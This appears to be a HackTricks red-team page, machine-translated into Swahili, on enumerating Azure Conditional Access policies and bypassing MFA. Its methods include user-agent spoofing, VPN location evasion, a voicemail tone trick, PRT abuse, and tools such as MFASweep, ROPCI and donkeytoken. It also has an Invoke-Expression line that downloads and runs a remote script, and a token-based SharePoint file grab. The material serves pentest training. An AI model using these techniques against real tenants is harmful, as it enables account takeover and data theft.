Az - Conditional Access Policies & MFA Bypass

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks

Taarifa za Msingi

Azure Conditional Access policies ni kanuni zilizowekwa katika Microsoft Azure kutekeleza udhibiti wa upatikanaji kwa Azure services na programu kulingana na certain masharti. Sera hizi husaidia mashirika kulinda rasilimali zao kwa kutumia udhibiti sahihi wa upatikanaji katika mazingira sahihi.
Conditional access policies kwa msingi hufafanua Nani anaweza kufikia Nini kutoka Wapi na Jinsi.

Hapa kuna mifano michache:

  1. Sign-In Risk Policy: Sera hii inaweza kuwekwa kuhitaji multi-factor authentication (MFA) wakati hatari ya kuingia inapotambuliwa. Kwa mfano, ikiwa tabia ya kuingia ya mtumiaji ni isiyo ya kawaida ukilinganisha na muundo wao wa kawaida, kama kuingia kutoka nchi tofauti, mfumo unaweza kuomba uthibitisho wa ziada.
  2. Device Compliance Policy: Sera hii inaweza kuzuiwa upatikanaji kwa Azure services tu kwa vifaa vinavyokubaliana na viwango vya usalama vya shirika. Kwa mfano, upatikanaji unaweza kuruhusiwa tu kutoka kwa vifaa ambavyo vina antivirus iliyosasishwa au vinatumia toleo fulani la mfumo wa uendeshaji.

Enumeration

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Njia za Kuvuka Sera za Conditional Access

Inawezekana kwamba sera ya conditional access inakuwa ikikagua baadhi ya taarifa ambazo zinaweza kubadilishwa kwa urahisi na kuruhusu kuvuka sera. Na kwa mfano, ikiwa sera ilikuwa ikisanidi MFA, mshambuliaji ataweza kuipita.

Unaposanidi sera ya conditional access inahitajika kubainisha watumiaji walioathirika na rasilimali lengwa (kama programu zote za cloud).

Pia inahitajika kusanidi masharti ambayo yatachochea sera:

  • Network: IP, IP ranges na maeneo kijiografia
  • Inaweza kuvukwa kwa kutumia VPN au Proxy kuunganishwa na nchi iliyoruhusiwa au kwa kufanikiwa kuingia kutoka anwani ya IP iliyoruhusiwa
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device au chagua Android, iOS, Windows phone, Windows, macOS, Linux
  • Ikiwa “Any device” haishachaguliwa lakini chaguo zote nyingine zimetengwa, inawezekana kuzipita kwa kutumia user-agent isiyohusiana na yale majukwaa
  • Client apps: Options are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
  • Kuipita kwa kuingia kwa chaguo ambacho hakijachaguliwa
  • Filter for devices: Inawezekana kutengeneza rule inayohusiana na kifaa kinachotumika
  • Authentication flows: Options are “Device code flow” and “Authentication transfer”
  • Hii haitamkera mshambuliaji isipokuwa anajaribu kuabusu moja ya protokoli hizo katika jaribio la phishing ili kupata akaunti ya mwathirika

Matokeo yanayowezekana ni: Kuzuia au Kutoa ufikiaji kwa masharti kama kuhitaji MFA, kifaa kiwe compliant…

Device Platforms - Device Condition

Inawezekana kuweka masharti kulingana na device platform (Android, iOS, Windows, macOS…), hata hivyo, hii inategemea user-agent hivyo ni rahisi kuipita. Hata kufanya chaguo zote zifanye MFA iwe lazima, ikiwa utatumia user-agent ambayo haijatambuliwa, utaweza kuipita MFA au kuzuia:

Kwa kufanya tu browser itume user-agent isiyojulikana (kama Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile) inatosha kutoanzisha masharti haya.
Unaweza kubadilisha user agent kwa mikono katika developer tools:

Au tumia browser extension kama hii.

Locations: Countries, IP ranges - Device Condition

Ikiwa hili limewekwa kwenye sera ya conditional, mshambuliaji anaweza kutumia VPN katika nchi iliyoruhusiwa au kujaribu kupata njia ya kuingia kutoka anwani ya IP iliyoruhusiwa kuvuka masharti haya.

Cloud Apps

Inawezekana kusanidi conditional access policies ili kuzuia au kulazimisha kwa mfano MFA wakati mtumiaji anajaribu kufikia app maalum:

Ili kujaribu kuipita ulinzi huu unapaswa kuona kama unaweza ingia kwenye programu yoyote.
Tool AzureAppsSweep ina kumi na kumi za application IDs zilizowekwa (hardcoded) na itajaribu kuingia nazo na kukuarifu na hata kukupatia token ikiwa itafanikiwa.

Ili kuuza specific application IDs katika rasilimali maalum pia unaweza kutumia tool kama:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Zaidi ya hayo, pia inawezekana kulinda njia ya kuingia (kwa mfano ikiwa unajaribu kuingia kutoka kwa browser au kutoka kwa desktop application). Zana Invoke-MFASweep hufanya ukaguzi kadhaa ili kujaribu kupita (bypass) ulinzi huu pia.

Zana donkeytoken pia inaweza kutumika kwa madhumuni sawa ingawa inaonekana haendelezwi.

Zana ROPCI pia inaweza kutumika kujaribu ulinzi huu na kuona kama inawezekana kupita MFA au vizuizi, lakini zana hii inafanya kazi kutoka mtazamo wa whitebox. Kwanza unahitaji kupakua orodha ya Apps zilizoruhusiwa katika tenant kisha itajaribu kuingia ndani yao.

Njia Nyingine za Kupita za Az MFA

Toni ya simu

Moja ya chaguo za Azure MFA ni kupokea simu kwenye namba ya simu iliyosanidiwa ambapo mtumiaji ataombwa kutuma alama #.

Caution

Kwa kuwa alama ni tu tones, mshambuliaji anaweza kuingilia ujumbe wa sauti (voicemail) wa namba ya simu, kusanidi ujumbe kuwa tone ya # na kisha, anapokuomba MFA hakikisha simu ya mwathirika iko busy (ikiwa inapigiwa) ili simu ya Azure ipelekwe kwenye ujumbe wa sauti.

Vifaa vinavyokubalika

Sera mara nyingi zinaomba kifaa kinachokubalika au MFA, hivyo mshambuliaji anaweza kusajili kifaa kinachokubalika, kupata token ya PRT na kwa njia hiyo kupita (bypass) MFA.

Anza kwa kusajili kifaa kinachokubalika katika Intune, kisha pata PRT na:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Pata taarifa zaidi kuhusu aina hii ya shambulio kwenye ukurasa ufuatao:

Az - Primary Refresh Token (PRT)

Zana

AzureAppsSweep

Script hii hupata baadhi ya credentials za watumiaji na kuangalia kama inaweza kuingia kwenye baadhi ya applications.

Hii ni muhimu kuona ikiwa MFA hainahitajiki kuingia kwenye baadhi ya applications ambazo unaweza baadaye kuzitumia vibaya ili escalate privileges.

roadrecon

Pata sera zote

roadrecon plugin policies

Invoke-MFASweep

MFASweep ni PowerShell script ambayo inajaribu kuingia kwenye huduma mbalimbali za Microsoft kwa kutumia seti ya credentials zilizotolewa na itajaribu kubaini ikiwa MFA imewezeshwa. Kulingana na jinsi conditional access policies na mipangilio mingine ya multi-factor authentication imewekwa, baadhi ya protocols zinaweza kubaki kuwa single-factor. Pia ina ukaguzi wa ziada kwa konfigurisho za ADFS na inaweza kujaribu kuingia kwenye on-prem ADFS server ikiwa itagunduliwa.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

Kifaa hiki kimewasaidia kutambua MFA bypasses na kisha kutumia APIs kwa uabusu katika multiple production AAD tenants, ambapo wateja wa AAD waliamini walikuwa na MFA iliyotekelezwa, lakini ROPC based authentication ilifanikiwa.

Tip

Unahitaji kuwa na ruhusa za kuorodhesha applications zote ili uweze kuunda orodha ya apps za brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token ni seti ya functions inayolenga kusaidia washauri wa usalama ambao wanahitaji kuthibitisha Conditional Access Policies, kufanya majaribio kwa 2FA-enabled Microsoft portals, n.k..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Jaribu kila portal ikiwa inawezekana login bila MFA:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Kwa sababu Azure portal haijawekewa vizingiti, inawezekana kukusanya token kutoka kwenye endpoint ya portal ili kufikia huduma yoyote iliyogunduliwa na utekelezaji uliopita. Katika kesi hii Sharepoint ilitambuliwa, na token ya kuifikia imeombwa:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Ikiwa token ina ruhusa Sites.Read.All (kutoka Sharepoint), hata kama huwezi kufikia Sharepoint kupitia wavuti kwa sababu ya MFA, inawezekana kutumia token hiyo kufikia faili kwa kutumia token iliyotengenezwa:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Marejeo

Tip

Jifunze na ufanye mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na ufanye mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na ufanye mazoezi ya Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Saidia HackTricks